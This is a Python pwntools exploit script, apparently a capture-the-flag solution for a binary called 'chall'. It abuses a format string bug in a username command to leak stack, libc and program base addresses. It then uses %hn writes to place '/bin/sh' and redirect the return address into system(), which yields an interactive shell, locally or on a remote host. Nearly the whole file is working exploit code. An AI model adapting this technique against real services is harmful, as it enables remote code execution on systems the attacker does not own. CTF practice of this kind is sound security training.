from pwn import *
EXECUTABLE = './chall'
LIBC = './libc.so.6'
context.binary = elf = ELF(EXECUTABLE)
libc = ELF(LIBC)
io = None
isDebug = True
def pwndbg():
global io
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, '''
set pagination off
b printf
''')
def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
"""Pause execution for debugging."""
if isDebug and not disabled:
input(msg)
def set_username(username):
"""Set the username by sending the -u command."""
io.sendlineafter(b'Enter command: ', b'-u ' + username)
def run_shell_as_user(username):
"""Send the -s command to attempt running a shell as the specified user."""
set_username(username)
io.sendlineafter(b'Enter command: ', b'-s')
msg = io.recvuntil(b'.')
return msg
def format_write(value, addr, offset = 37, padding = 197):
"""
Create a format string payload to write a 2-byte value using %hn.
Parameters:
- value: The 2-byte value to write.
- addr: The memory address to write to.
- offset: The number of characters printed before writing.
- padding: The total payload size to ensure correct alignment.
"""
junk = b'A'
payload = b'%c' * offset
payload += f'%{value - offset}c%hn'.encode()
payload = payload.ljust(padding, junk) + p64(addr)
run_shell_as_user(payload)
def format_leak(offset):
"""
Leak a memory address using a format string vulnerability.
Parameters:
- offset: The position in the format string output where the address appears.
Returns:
- The leaked address as an integer.
"""
username = b'%c' * offset + b'%p'
msg = run_shell_as_user(username)
msg = msg.replace(b'Error: User ', b'').replace(b' not found.', b'')
value = int(msg.split(b'0x')[1].split()[0], 16)
return value
def exploit():
debug('[*] Starting exploit', disabled = True)
# Leak Stack address
stack_addr = format_leak(6)
print(f'[+] Stack address: {hex(stack_addr)}')
# LIBC base address
libc.address = format_leak(2) - 0x114887
print(f'[+] LIBC base: {hex(libc.address)}')
# ELF base address
elf.address = format_leak(10) - 0x18E9
print(f'[+] ELF base: {hex(elf.address)}')
# execute_command_as_user+0x14F0
# mov rax, [rbp+command]
rbp_command = stack_addr + 0x5f0 # Offset 0x5f0 is determined from the leaked stack address in a debugger for [rbp+command]
# Address of '/bin/sh' in libc
binsh_ptr = next(libc.search(b'/bin/sh\x00'))
print(f'[+] LIBC binsh: {hex(binsh_ptr)}')
# Write to [rbp+command] the address of "/bin/sh"
format_write(binsh_ptr & 0xFFFF, rbp_command)
format_write((binsh_ptr >> 16) & 0xFFFF, rbp_command + 2)
format_write((binsh_ptr >> 32) & 0xFFFF, rbp_command + 4)
print(f'[+] [rbp+command] on the stack points to the "/bin/sh\\x00" address.: {hex(rbp_command)}')
# run_shell_as_user+0x1577
# retn
ret_addr = stack_addr - 0x218 # 0x218 is the return address offset, determined from stack analysis in a debugger.
print(f'[+] Return address: {hex(ret_addr)}')
# The address to call system: mov rax, [rbp+command] | mov rdi, rax | call _system | execute_command_as_user+0x14F0
system = (elf.address + 0x14f0) & 0xFFFF
format_write(system, ret_addr)
io.interactive()
def local():
global io
io = process(EXECUTABLE)
exploit()
def srv(ip, port):
global io
io = remote(ip, port)
exploit()
if __name__ == '__main__':
local()
# host = '127.0.0.1'
# port = '5000'
# srv(host, port)